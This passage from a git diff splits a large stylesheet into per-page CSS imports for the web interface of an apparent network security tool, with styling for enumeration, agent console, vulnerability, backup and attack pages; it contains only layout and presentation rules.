var(--c-panel)); - padding: 10px; - overflow: auto; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .editor-form { - display: grid; - gap: 10px; -} - -.studio-container:not(.studio-runtime-host) .editor-section { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - padding: 10px; - background: var(--st-card2, var(--c-panel-2)); -} - -.studio-container:not(.studio-runtime-host) .section-title { - font-size: 12px; - text-transform: uppercase; - letter-spacing: .3px; - color: var(--muted); - margin-bottom: 8px; - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .form-row { - display: grid; - grid-template-columns: 1fr 1fr; - gap: 10px; -} - -.studio-container:not(.studio-runtime-host) .form-group { - display: grid; - gap: 6px; -} - -.studio-container:not(.studio-runtime-host) .field-label { - color: var(--muted); - font-size: 12px; -} - -.studio-container:not(.studio-runtime-host) .studio-input, -.studio-container:not(.studio-runtime-host) .studio-select, -.studio-container:not(.studio-runtime-host) .studio-textarea { - width: 100%; - border: 1px solid var(--st-border, var(--c-border-strong)); - border-radius: 10px; - background: var(--st-bg, var(--c-panel)); - color: var(--st-text, var(--ink)); - padding: 8px 10px; -} - -.studio-container:not(.studio-runtime-host) .studio-textarea { - min-height: 110px; - resize: vertical; -} - -.studio-container:not(.studio-runtime-host) .studio-input:focus, -.studio-container:not(.studio-runtime-host) .studio-select:focus, -.studio-container:not(.studio-runtime-host) .studio-textarea:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent-2, #18f0ff) 35%, transparent); -} - -.studio-container:not(.studio-runtime-host) .args-list, -.studio-container:not(.studio-runtime-host) .req-list { - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .arg-row, -.studio-container:not(.studio-runtime-host) .req-row { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - padding: 8px; - background: var(--st-card, var(--c-panel)); -} - -.studio-container:not(.studio-runtime-host) .arg-row-header, -.studio-container:not(.studio-runtime-host) .req-row-header { - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; - margin-bottom: 6px; -} - -.studio-container:not(.studio-runtime-host) .arg-row-title { - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .arg-row-body, -.studio-container:not(.studio-runtime-host) .req-p1, -.studio-container:not(.studio-runtime-host) .req-p2 { - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .arg-name, -.studio-container:not(.studio-runtime-host) .arg-type, -.studio-container:not(.studio-runtime-host) .arg-default, -.studio-container:not(.studio-runtime-host) .arg-desc, -.studio-container:not(.studio-runtime-host) .arg-required, -.studio-container:not(.studio-runtime-host) .req-type { - width: 100%; -} - -.studio-container:not(.studio-runtime-host) .full-width { - grid-column: 1 / -1; -} - -.studio-container:not(.studio-runtime-host) .json-preview { - margin: 0; - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - background: var(--grad-console); - color: var(--ink); - padding: 10px; - min-height: 240px; - white-space: pre-wrap; - word-break: break-word; -} - -.studio-container:not(.studio-runtime-host) .dirty-indicator { - color: var(--warning); - font-weight: 700; -} - -@media (max-width: 1100px) { - .studio-container { - grid-template-columns: 1fr; - } - - .studio-container .studio-panels { - grid-template-columns: 1fr; - } -} - -/* ---- Web Enum runtime aliases ---- */ -.webenum-container .webenum-controls { - display: grid; - gap: 10px; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - padding: 10px; - box-shadow: var(--shadow); -} - -.webenum-container .stats-bar { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: 10px; -} - -.webenum-container .stats-bar .stat-item { - background: var(--grad-card); - border-radius: 12px; - padding: 10px 12px; - text-align: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); - display: grid; - gap: 6px; - justify-items: center; -} - -.webenum-container .stats-bar .stat-value { - font-size: 26px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.webenum-container .stats-bar .stat-label { - color: var(--muted); - font-size: 12px; -} - -.webenum-container .global-search-container { - flex: 1; - min-width: 220px; - position: relative; -} - -.webenum-container .global-search-input { - width: 100%; - height: var(--control-h); - padding: 0 36px 0 var(--control-pad-x); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - background: var(--c-panel); - color: var(--ink); -} - -.webenum-container .global-search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); -} - -.webenum-container .clear-global-button { - position: absolute; - right: 8px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: var(--danger); - cursor: pointer; - display: none; -} - -.webenum-container .clear-global-button.show { - display: inline-block; -} - -.webenum-container .webenum-filters { - display: flex; - gap: 8px; - flex-wrap: wrap; - align-items: center; -} - -.webenum-container .webenum-main-actions { - display: flex; - gap: 8px; - align-items: center; -} - -.webenum-container .webenum-filter-select, -.webenum-container .webenum-date-input { - border: 1px solid var(--c-border-strong); - border-radius: 10px; - background: var(--c-panel); - color: var(--ink); - padding: 8px 10px; -} - -.webenum-container .webenum-export-btns { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.webenum-container .vuln-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: var(--control-r); - padding: 8px 12px; - cursor: pointer; -} - -.webenum-container .vuln-btn:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); -} - -.webenum-container .webenum-status-legend { - display: flex; - gap: 8px; - flex-wrap: wrap; - margin-top: 2px; -} - -.webenum-container .webenum-table-wrap { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - overflow: auto; -} - -.webenum-container .table-inner { - min-width: 100%; -} - -.webenum-container .webenum-table { - width: 100%; - border-collapse: collapse; -} - -.webenum-container .webenum-table th, -.webenum-container .webenum-table td { - padding: 8px 10px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.webenum-container .webenum-table th { - position: sticky; - top: 0; - background: var(--c-panel); - z-index: 2; -} - -.webenum-container .webenum-row:hover { - background: color-mix(in oklab, var(--accent-2) 10%, transparent); -} - -.webenum-container .webenum-link { - color: var(--accent-2); - text-decoration: none; -} - -.webenum-container .webenum-link:hover { - text-decoration: underline; -} - -.webenum-container .webenum-dir-cell { - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; -} - -.webenum-container .webenum-pagination { - display: flex; - gap: 8px; - align-items: center; - justify-content: center; - flex-wrap: wrap; - margin-top: 8px; -} - -.webenum-container .webenum-perpage-wrap { - display: inline-flex; - gap: 6px; - align-items: center; -} - -.webenum-container .webenum-perpage { - border: 1px solid var(--c-border); - border-radius: 8px; - background: var(--c-panel); - color: var(--ink); - padding: 4px 8px; -} - -.webenum-container .modal-detail-section { - margin-bottom: 12px; -} - -.webenum-container .modal-section-title { - font-weight: 700; - margin-bottom: 4px; - color: var(--accent-2); -} - -.webenum-container .modal-section-text { - color: var(--ink); - line-height: 1.45; -} - -.webenum-container .webenum-modal-actions { - display: flex; - gap: 8px; - justify-content: flex-end; - margin-top: 8px; - flex-wrap: wrap; -} - -.webenum-container .page-loading { - padding: 18px; - color: var(--muted); - text-align: center; -} - -.webenum-container .vuln-modal { - display: none; - position: fixed; - inset: 0; - background: var(--glass-8); - z-index: 1000; -} - -.webenum-container .vuln-modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.webenum-container .vuln-modal-content { - background: var(--grad-modal); - border-radius: 12px; - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -.webenum-container .vuln-modal-header { - padding: 12px; - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.webenum-container .vuln-modal-title { - font-size: 18px; - font-weight: 800; -} - -.webenum-container .vuln-modal-close { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; -} - -.webenum-container .vuln-modal-body { - padding: 12px; -} - -/* ---- Zombieland runtime aliases ---- */ -.zombieland-container .zl-toolbar { - display: flex; - justify-content: space-between; - gap: 10px; - flex-wrap: wrap; - padding: 10px; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.zombieland-container.page-with-sidebar { - --page-sidebar-w: 360px; -} - -.zombieland-container.page-with-sidebar .zl-sidebar { - min-height: 0; -} - -.zombieland-container.page-with-sidebar .zl-main { - min-width: 0; - display: flex; - flex-direction: column; - gap: 12px; -} - -.zombieland-container.page-with-sidebar .zl-main .zl-main-grid { - min-height: 0; -} - -.zombieland-container.page-with-sidebar .zl-main .zl-logs-panel { - min-height: 200px; -} - -.zombieland-container .zl-toolbar-left { - display: flex; - gap: 8px; - align-items: center; - flex: 1; - min-width: 220px; -} - -.zombieland-container .zl-toolbar-right { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.zombieland-container .zl-search-input, -.zombieland-container .zl-cmd-input, -.zombieland-container .zl-target-select, -.zombieland-container .zl-card-cmd-input { - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_panel) 95%, transparent); - color: var(--_ink); - padding: 8px 10px; -} - -.zombieland-container .zl-search-input { - flex: 1; -} - -.zombieland-container .zl-main-grid { - display: grid; - grid-template-columns: 2fr 1fr; - gap: 12px; - min-height: 0; -} - -.zombieland-container .zl-console-panel, -.zombieland-container .zl-agents-panel, -.zombieland-container .zl-logs-panel { - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); - overflow: hidden; -} - -.zombieland-container .zl-panel-header { - padding: 8px 10px; - border-bottom: 1px dashed var(--_border); - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-panel-title { - font-weight: 800; - color: var(--_ink); -} - -.zombieland-container .zl-quickbar { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.zombieland-container .zl-quick-cmd, -.zombieland-container .zl-btn { - border: 1px solid var(--_border); - border-radius: 10px; - background: var(--_panel-lo); - color: var(--_ink); - padding: 6px 9px; - cursor: pointer; -} - -.zombieland-container .zl-btn-sm { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-lo); - color: var(--_ink); - padding: 4px 7px; - cursor: pointer; -} - -.zombieland-container .zl-btn-send { - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_acid2) 22%, var(--_panel-lo)); - color: var(--_ink); - padding: 8px 10px; - cursor: pointer; -} - -.zombieland-container .zl-console-output, -.zombieland-container .zl-logs-output { - min-height: 220px; - max-height: 42vh; - overflow: auto; - padding: 10px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - background: var(--grad-console); -} - -.zombieland-container .zl-console-input-row { - display: grid; - grid-template-columns: minmax(120px, 220px) 1fr auto; - gap: 8px; - padding: 10px; - border-top: 1px dashed var(--_border); -} - -.zombieland-container .zl-agents-list { - display: grid; - gap: 8px; - padding: 10px; - max-height: 56vh; - overflow: auto; -} - -.zombieland-container .zl-agent-card { - border: 1px solid var(--_border); - border-radius: 12px; - background: var(--_panel-lo); - padding: 8px; - display: grid; - gap: 6px; -} - -.zombieland-container .zl-agent-card.pulse { - box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.zombieland-container .zl-card-header { - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-card-identity { - display: flex; - gap: 6px; - align-items: center; - min-width: 0; -} - -.zombieland-container .zl-card-id { - font-weight: 700; -} - -.zombieland-container .zl-card-hostname { - color: var(--muted); - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.zombieland-container .zl-card-info { - display: grid; - gap: 3px; -} - -.zombieland-container .zl-info-row { - display: flex; - gap: 6px; - align-items: center; -} - -.zombieland-container .zl-info-label { - color: var(--muted); - font-size: 12px; - min-width: 78px; -} - -.zombieland-container .zl-card-actions, -.zombieland-container .zl-card-cmd-row { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.zombieland-container .zl-btn-card-send, -.zombieland-container .zl-btn-shell, -.zombieland-container .zl-btn-remove { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-hi); - color: var(--_ink); - padding: 5px 8px; - cursor: pointer; -} - -.zombieland-container .zl-btn-remove { - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.zombieland-container .zl-empty { - color: var(--muted); - text-align: center; - padding: 18px; -} - -.zombieland-container .zl-empty-icon { - display: block; - font-size: 26px; - margin-bottom: 6px; - opacity: .8; -} - -.zombieland-container .zl-ecg-row { - display: flex; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-ecg-counter { - color: var(--muted); - font-size: 12px; -} - -.zombieland-container .console-target { - color: var(--muted); -} - -@media (max-width: 1100px) { - .zombieland-container .zl-main-grid { - grid-template-columns: 1fr; - } -} - -/* ---- Database runtime aliases ---- */ -.db-container .db-main { - display: grid; - grid-template-columns: minmax(240px, 300px) 1fr; - gap: 12px; - min-height: 0; - flex: 1; -} - -.db-container .db-sidebar { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - padding: 10px; - overflow: auto; -} - -.db-container .db-toolbar { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; - margin-bottom: 10px; -} - -.db-container .db-sidebar-filter, -.db-container .db-limit-select { - border: 1px solid var(--c-border); - border-radius: 8px; - background: var(--c-panel); - color: var(--ink); - padding: 6px 8px; -} - -.db-container .db-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.db-container .db-tree-group { - display: grid; - gap: 8px; -} - -.db-container .db-tree-icon { - width: 16px; - display: inline-flex; - justify-content: center; -} - -.db-container .db-tree-label { - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .db-thead, -.db-container .db-tbody { - display: table-row-group; -} - -.db-container .db-th, -.db-container .db-td { - display: table-cell; -} - -.db-container .db-th-sel, -.db-container .db-td-sel { - width: 44px; - text-align: center; -} - -.db-container .db-cell { - max-width: 420px; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .db-live-label { - color: var(--muted); - font-size: 12px; -} - -.db-container .db-danger { - color: var(--danger); -} - -@media (max-width: 1100px) { - .db-container .db-main { - grid-template-columns: 1fr; - } -} - -.db-container.page-with-sidebar { - --page-sidebar-w: 300px; -} - -.db-container.page-with-sidebar .db-sidebar { - padding: 0; - display: flex; - flex-direction: column; -} - -.db-container.page-with-sidebar .db-main { - display: flex; - flex-direction: column; - gap: 10px; - min-width: 0; -} - -.db-container.page-with-sidebar .db-table-wrap { - min-height: 280px; -} - -/* ---- Vulnerabilities runtime aliases ---- */ -.vuln-container .page-loading { - padding: 16px; - color: var(--muted); - text-align: center; -} - -.vuln-container .host-severity-pills { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.vuln-container .host-vuln-info { - display: grid; - gap: 4px; -} - -.vuln-container .meta-label { - color: var(--muted); - font-size: 12px; -} - -.vuln-container .meta-value { - color: var(--ink); - font-size: 13px; -} - -.vuln-container .vuln-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.vuln-container .vuln-affected-table { - width: 100%; - border-collapse: collapse; -} - -.vuln-container .vuln-affected-table th, -.vuln-container .vuln-affected-table td { - padding: 8px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.vuln-container .vuln-affected-row:hover { - background: color-mix(in oklab, var(--accent-2) 10%, transparent); -} - -.vuln-container .vuln-ref-link { - color: var(--accent-2); - text-decoration: none; -} - -.vuln-container .vuln-ref-link:hover { - text-decoration: underline; -} - -.vuln-container .modal-detail-section { - margin-bottom: 10px; -} - -.vuln-container .modal-section-title { - font-weight: 700; - margin-bottom: 4px; - color: var(--accent-2); -} - -.vuln-container .modal-section-text { - color: var(--ink); - line-height: 1.45; -} - -/* ---- Misc runtime aliases ---- */ -.backup-table { - width: 100%; - border-collapse: collapse; -} - -.backup-table th, -.backup-table td { - padding: 8px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.backup-table th { - color: var(--muted); -} - -.page-loading { - color: var(--muted); - text-align: center; - padding: 16px; -} - -.network-container .network-empty { - padding: 14px; - text-align: center; - color: var(--muted); - border: 1px dashed var(--c-border); - border-radius: 10px; - background: var(--panel); -} - -.network-container .table-inner { - min-width: max-content; -} - -/* ---- Final parity aliases ---- */ -.actions-container .sidebar-page { - display: block; -} - -.vuln-container.page-with-sidebar { - --page-sidebar-w: 300px; -} - -.vuln-container.page-with-sidebar .vuln-sidebar { - min-height: 0; -} - -.vuln-container.page-with-sidebar .vuln-main { - min-width: 0; - display: flex; - flex-direction: column; - gap: 10px; -} - -.vuln-container.page-with-sidebar .vuln-main .vuln-controls { - margin-bottom: 0; -} - -.vuln-container.page-with-sidebar .vuln-main .vuln-severity-bar { - margin-bottom: 0; -} - -.vuln-container.page-with-sidebar .vuln-main .services-grid { - max-height: none; - min-height: 280px; -} - -.vuln-container.page-with-sidebar .stats-header { - display: grid; - gap: 10px; -} - -.zombieland-container .zl-search-clear { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-lo); - color: var(--muted); - padding: 6px 8px; - cursor: pointer; -} - -.zombieland-container .zl-search-clear:hover { - color: var(--_ink); -} - -.zombieland-container .zl-btn-start { - color: color-mix(in oklab, var(--ok) 80%, var(--_ink)); -} - -.zombieland-container .zl-btn-stop { - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.zombieland-container .zl-pill { - display: inline-flex; - align-items: center; - padding: 2px 8px; - border-radius: 999px; - border: 1px solid var(--_border); - background: var(--_panel-hi); - color: var(--muted); - font-size: 12px; -} - -.zombieland-container .zl-info-value { - color: var(--_ink); - font-size: 12px; -} - -.zombieland-container .zl-log-line { - display: grid; - grid-template-columns: auto auto 1fr; - gap: 8px; - margin-bottom: 6px; - font: var(--font-mono); -} - -.zombieland-container .zl-log-text { - word-break: break-word; -} - -.bjorn-container .bjorn-epd-img { - image-rendering: auto; - border-radius: 10px; - box-shadow: var(--shadow); -} - -/* ===== BACKUP PAGE (NEW SPA LAYOUT) ===== */ -.page-backup { - padding: 10px; -} - -.page-backup .backup-layout { - display: grid; - grid-template-columns: minmax(240px, 300px) 1fr; - gap: 12px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); -} - -.page-backup .backup-sidebar, -.page-backup .backup-main { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.page-backup .backup-sidebar { - padding: 12px; - display: grid; - align-content: start; - gap: 10px; -} - -.page-backup .backup-sidehead { - border-bottom: 1px dashed var(--c-border); - padding-bottom: 8px; -} - -.page-backup .backup-side-title { - margin: 0; - color: var(--acid); - font-size: 14px; - letter-spacing: .04em; - text-transform: uppercase; -} - -.page-backup .backup-nav-item { - width: 100%; - border: 1px solid var(--c-border); - border-radius: 12px; - background: color-mix(in oklab, var(--panel) 88%, transparent); - color: var(--ink); - display: flex; - align-items: center; - gap: 10px; - padding: 10px; - cursor: pointer; - transition: .18s; - text-align: left; -} - -.page-backup .backup-nav-item:hover { - transform: translateY(-1px); - box-shadow: var(--shadow); -} - -.page-backup .backup-nav-item.active { - border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); - box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--acid-2) 30%, transparent); -} - -.page-backup .backup-nav-icon { - width: 42px; - height: 42px; - object-fit: contain; - border-radius: 8px; - background: rgba(0, 0, 0, .2); -} - -.page-backup .backup-nav-label { - font-weight: 700; - letter-spacing: .01em; -} - -.page-backup .backup-main { - padding: 14px; - overflow: auto; -} - -.page-backup .backup-title { - margin: 0 0 12px 0; -} - -.page-backup .backup-form { - margin-bottom: 14px; -} - -.page-backup .backup-label { - display: block; - margin-bottom: 8px; - color: var(--muted); -} - -.page-backup .backup-form-row { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.page-backup .backup-input { - flex: 1; - min-width: 220px; - border: 1px solid var(--c-border); - border-radius: 10px; - background: var(--c-panel); - color: var(--ink); - padding: 10px 12px; -} - -.page-backup .backup-subtitle { - margin: 10px 0; - color: var(--muted); - font-size: 13px; - text-transform: uppercase; - letter-spacing: .03em; -} - -.page-backup .backup-table-wrap { - overflow: auto; - border: 1px solid var(--c-border); - border-radius: 12px; -} - -.page-backup .backup-table { - width: 100%; - border-collapse: collapse; -} - -.page-backup .backup-table th, -.page-backup .backup-table td { - padding: 10px; - border-bottom: 1px dashed var(--c-border); - text-align: left; - vertical-align: top; -} - -.page-backup .backup-row-actions { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.page-backup .backup-default-pill { - margin-left: 8px; -} - -.page-backup .backup-empty { - padding: 22px; - text-align: center; - color: var(--muted); -} - -.page-backup .backup-update-message { - background: color-mix(in oklab, var(--ok) 18%, transparent); - border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--c-border)); - border-radius: 999px; - padding: 10px 14px; - display: inline-block; - margin-bottom: 12px; -} - -.page-backup .backup-version-lines { - display: grid; - gap: 4px; -} - -.page-backup .backup-update-available { - color: var(--acid); - font-weight: 700; -} - -.page-backup .backup-update-ok { - color: var(--ok); - font-weight: 700; -} - -.page-backup .backup-update-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.page-backup .backup-modal-overlay { - position: fixed; - inset: 0; - z-index: 1200; - background: rgba(0, 0, 0, .6); - display: none; - align-items: center; - justify-content: center; - padding: 10px; -} - -.page-backup .backup-modal { - width: min(480px, 95vw); - background: var(--grad-card); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 12px; - box-shadow: var(--shadow-hover); -} - -.page-backup .backup-modal-head { - display: flex; - align-items: center; - gap: 8px; - justify-content: space-between; -} - -.page-backup .backup-modal-title { - margin: 0; -} - -.page-backup .backup-modal-help { - color: var(--muted); - margin: 8px 0 10px 0; -} - -.page-backup .backup-keep { - display: flex; - gap: 8px; - align-items: center; - padding: 4px 0; -} - -.page-backup .backup-modal-actions { - display: flex; - justify-content: flex-end; - gap: 8px; - margin-top: 12px; - padding-top: 10px; - border-top: 1px dashed var(--c-border); -} - -.page-backup .backup-loading-overlay { - position: fixed; - inset: 0; - z-index: 1300; - background: rgba(0, 0, 0, .6); - display: none; - align-items: center; - justify-content: center; -} - -.page-backup .backup-spinner { - width: 52px; - height: 52px; - border: 4px solid transparent; - border-top-color: var(--accent-2); - border-right-color: var(--accent-2); - border-radius: 50%; - animation: bak-spin .9s linear infinite; -} - -.page-backup.page-with-sidebar { - --page-sidebar-w: 300px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); -} - -.page-backup.page-with-sidebar .backup-sidebar { - padding: 12px; - display: grid; - align-content: start; - gap: 10px; - min-height: 0; -} - -.page-backup.page-with-sidebar .backup-main { - min-width: 0; - min-height: 0; -} - -/* ===== STUDIO RUNTIME HOST ===== */ -.studio-container.studio-runtime-host { - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); - height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); -} - -.studio-container.studio-runtime-host #app { - height: 100%; - min-height: 100%; - display: grid; - grid-template-rows: auto minmax(0, 1fr) auto; -} - -.studio-container.studio-runtime-host main { - min-height: 0; -} - -.studio-container.studio-runtime-host #left, -.studio-container.studio-runtime-host #center, -.studio-container.studio-runtime-host #right { - min-height: 0; - height: 100%; -} - -@media (max-width:1100px) { - - .studio-container.studio-runtime-host #left, - .studio-container.studio-runtime-host #right { - top: calc(var(--h-topbar, 56px) + var(--studio-header-h, 52px) + 8px); - } -} - -.studio-container .studio-loading { - padding: 14px; - color: var(--muted); - text-align: center; - border: 1px dashed var(--c-border); - border-radius: 10px; - margin: 12px; -} - -@media (max-width: 900px) { - .page-backup .backup-layout { - grid-template-columns: 1fr; - min-height: auto; - } - - .page-backup .backup-sidebar { - grid-template-columns: 1fr 1fr; - } - - .page-backup .backup-sidehead { - grid-column: 1 / -1; - } - - .page-backup.page-with-sidebar .backup-sidebar { - grid-template-columns: 1fr 1fr; - } - - .page-backup.page-with-sidebar .backup-sidehead { - grid-column: 1 / -1; - } -} \ No newline at end of file +/* Aggregated page styles split by module. Keep import order to preserve cascade. */ +@import url("./pages/shared.css"); +@import url("./pages/dashboard.css"); +@import url("./pages/credentials.css"); +@import url("./pages/netkb.css"); +@import url("./pages/network.css"); +@import url("./pages/vulnerabilities.css"); +@import url("./pages/scheduler.css"); +@import url("./pages/attacks.css"); +@import url("./pages/database.css"); +@import url("./pages/bjorn.css"); +@import url("./pages/loot.css"); +@import url("./pages/files.css"); +@import url("./pages/compat.css"); +@import url("./pages/backup.css"); +@import url("./pages/actions-studio.css"); +@import url("./pages/sentinel.css"); +@import url("./pages/bifrost.css"); +@import url("./pages/loki.css"); diff --git a/web/css/pages/actions-studio.css b/web/css/pages/actions-studio.css new file mode 100644 index 0000000..72a5a96 --- /dev/null +++ b/web/css/pages/actions-studio.css @@ -0,0 +1,153 @@ +/* ===== STUDIO RUNTIME HOST ===== */ +.studio-container.studio-runtime-host { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); +} + +.studio-container.studio-runtime-host #app { + height: 100%; + min-height: 100%; + display: grid; + grid-template-rows: auto minmax(0, 1fr) auto; +} + +.studio-container.studio-runtime-host main { + min-height: 0; +} + +.studio-container.studio-runtime-host #left, +.studio-container.studio-runtime-host #center, +.studio-container.studio-runtime-host #right { + min-height: 0; + height: 100%; +} + +/* ===== Studio kebab menu (replaces inline styles) ===== */ +.studio-container .kebab { + position: relative; +} + +.studio-container .studio-kebab-menu { + position: absolute; + top: calc(100% + 6px); + right: 0; + min-width: 240px; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 6px; + box-shadow: 0 10px 32px rgba(0, 0, 0, .45); + display: none; + z-index: 2400; +} + +.studio-container .studio-kebab-menu .item { + padding: .55rem .7rem; + border-radius: 8px; + font-size: 13px; + cursor: pointer; + color: var(--ink); + transition: background .15s ease; +} + +.studio-container .studio-kebab-menu .item:hover { + background: color-mix(in oklab, var(--ink) 8%, transparent); +} + +/* ===== Studio legend dots ===== */ +.studio-container .legend-dot { + display: inline-block; + width: 8px; + height: 8px; + border-radius: 50%; +} + +.studio-container .legend-dot.legend-ok { + background: var(--ok, #22c55e); +} + +.studio-container .legend-dot.legend-bad { + background: var(--bad, #ef4444); +} + +.studio-container .legend-dot.legend-req { + background: #7aa7ff; +} + +/* ===== Studio create host button ===== */ +.studio-container .studio-create-host-btn { + width: 100%; + margin-bottom: 10px; +} + +/* ===== Studio action buttons row ===== */ +.studio-container .studio-action-btns { + margin-top: .6rem; +} + +/* ===== Studio mono input ===== */ +.studio-container .mono-input { + font-family: ui-monospace, 'Cascadia Code', 'Fira Code', monospace; +} + +/* ===== Flex-1 utility ===== */ +.studio-container .flex-1 { + flex: 1; +} + +/* ===== Studio link wizard endpoints ===== */ +.studio-container .studio-link-endpoints { + margin-bottom: 6px; +} + +/* ===== Studio preview row ===== */ +.studio-container .studio-preview-row { + margin-top: 10px; +} + +/* ===== Studio wizard buttons ===== */ +.studio-container .studio-wizard-btns { + margin-top: 16px; + display: flex; + gap: 10px; +} + +@media (max-width: 1100px) { + .studio-container.studio-runtime-host #left, + .studio-container.studio-runtime-host #right { + top: calc(var(--h-topbar, 56px) + var(--studio-header-h, 52px) + 8px); + } +} + +.studio-container .studio-loading { + padding: 14px; + color: var(--muted); + text-align: center; + border: 1px dashed var(--c-border); + border-radius: 10px; + margin: 12px; +} + +/* ===== Backup page responsive ===== */ +@media (max-width: 900px) { + .page-backup .backup-layout { + grid-template-columns: 1fr; + min-height: auto; + } + + .page-backup .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup .backup-sidehead { + grid-column: 1 / -1; + } + + .page-backup.page-with-sidebar .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup.page-with-sidebar .backup-sidehead { + grid-column: 1 / -1; + } +} diff --git a/web/css/pages/attacks.css b/web/css/pages/attacks.css new file mode 100644 index 0000000..ee904d5 --- /dev/null +++ b/web/css/pages/attacks.css @@ -0,0 +1,993 @@ +/* ========================================================================== + ATTACKS — Full page: Attacks · Comments · Images · EPD Layout + Expert UX/UI — responsive, no unwanted scroll, clean layouts. + ========================================================================== */ + +/* ── Sidebar scroll isolation ──────────────────────────────── */ +.attacks-container .attacks-sidebar.page-sidebar { + overflow: hidden; +} + +/* ── Main area: fill height so textarea stretches ─────────── */ +.attacks-container .attacks-main.page-main { + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + overflow: hidden; +} + +/* ── Tabs ─────────────────────────────────────────────────── */ +.attacks-container .tabs-container { + display: flex; + gap: 3px; + padding: 0 0 8px; + border-bottom: 1px solid var(--_border); +} + +.attacks-container .attacks-sidebar > .tabs-container { + margin: 10px 10px 0; + padding-bottom: 6px; + flex-shrink: 0; +} + +/* Keep sidehead + tabs pinned at top of sidebar */ +.attacks-container .attacks-sidebar > .sidehead { + flex-shrink: 0; + position: sticky; + top: 0; + z-index: 5; + background: var(--grad-card); +} + +.attacks-container .attacks-sidebar > .sidebar-page { + flex: 1; + min-height: 0; + overflow-y: auto; + overflow-x: hidden; + padding: 